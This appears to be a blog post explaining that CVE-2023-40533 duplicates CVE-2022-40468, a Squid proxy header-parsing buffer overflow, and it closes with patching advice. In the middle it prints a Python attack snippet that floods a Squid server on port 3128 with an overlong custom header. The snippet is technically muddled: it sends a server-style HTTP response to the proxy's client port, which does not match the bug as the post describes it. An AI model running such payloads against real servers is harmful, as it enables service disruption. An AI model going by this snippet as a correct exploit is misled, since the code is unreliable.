If you've been following vulnerability databases, you might have come across CVE-2023-40533. At first glance, it might look like a new, important security flaw. But dig a little deeper, and you’ll find that this CVE identifier is actually marked as a duplicate of CVE-2022-40468.

What does this mean for security professionals, developers, or casual readers? Let’s break it down in simple American language, walking you through what a duplicate CVE is, why it happens, and what the code behind this bug might have looked like.

What Is a Duplicate CVE?

CVE stands for *Common Vulnerabilities and Exposures*. The system gives each public security flaw a unique identifier, like CVE-2023-40533.

Sometimes, the same vulnerability gets reported more than once by different people. The system, after investigating, may decide to mark a CVE entry as a duplicate if it refers to the exact same flaw as another, often older, CVE. This helps avoid confusion and lets everyone stay on the same page.

The Original Bug – CVE-2022-40468

Now let’s look at CVE-2022-40468, since that’s the real vulnerability. Here are the details from the NVD (National Vulnerability Database):

> *Squid is a caching proxy for the Web supporting HTTP, HTTPS, FTP, and more. Squid versions through 5.6 and 4.17 are susceptible to a buffer overflow in the "HttpHeader" parsing functionality, which can be triggered by a malicious HTTP response.*

How Bad Was It?

- An attacker could exploit this to crash Squid or possibly run their own code — making it a serious security issue!

Exploit Details and Code Snippet

Suppose you were writing exploit code (purely for educational/legal purposes!). You’d need to send a carefully crafted HTTP response to Squid to trigger the overflow. Here’s a super-stripped-down fragment in Python (again, for learning only):

import socket

host = 'target-squid-server'
port = 3128

payload = 'A' * 4096  # Overly long header value

request = (
    "HTTP/1.1 200 OK\r\n"
    "Content-Type: text/html\r\n"
    f"X-Custom-Header: {payload}\r\n"  # Long header to trigger overflow
    "\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as so:
    so.connect((host, port))
    so.sendall(request.encode())

*Above, the X-Custom-Header is overstuffed to exploit the vulnerable parsing code.*

If Squid was running the vulnerable version, this could lead to a crash or worse.

Upgrade Squid: Get the latest version that fixes CVE-2022-40468.

- Squid Official Project

For sysadmins and teams: Make sure you're not tracking or flagging the duplicate (CVE-2023-40533) — use CVE-2022-40468 in your documentation and vulnerability assessments.

References

- NVD entry for CVE-2022-40468
- Squid Official Advisory
- CVE-2023-40533 record (marked as duplicate)

Conclusion

CVE-2023-40533 isn’t a new threat — it’s just a duplicate of CVE-2022-40468. When you’re tracking vulnerabilities, always look into duplicate notices to avoid double-counting threats. The real action you need to take is to address CVE-2022-40468 by updating Squid to a patched version.

As always, keep software up to date, pay close attention to advisories, and understand how the CVE system works for your security health!


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Timeline

Published on: 05/01/2024 16:15:06 UTC
Last modified on: 05/08/2024 22:15:47 UTC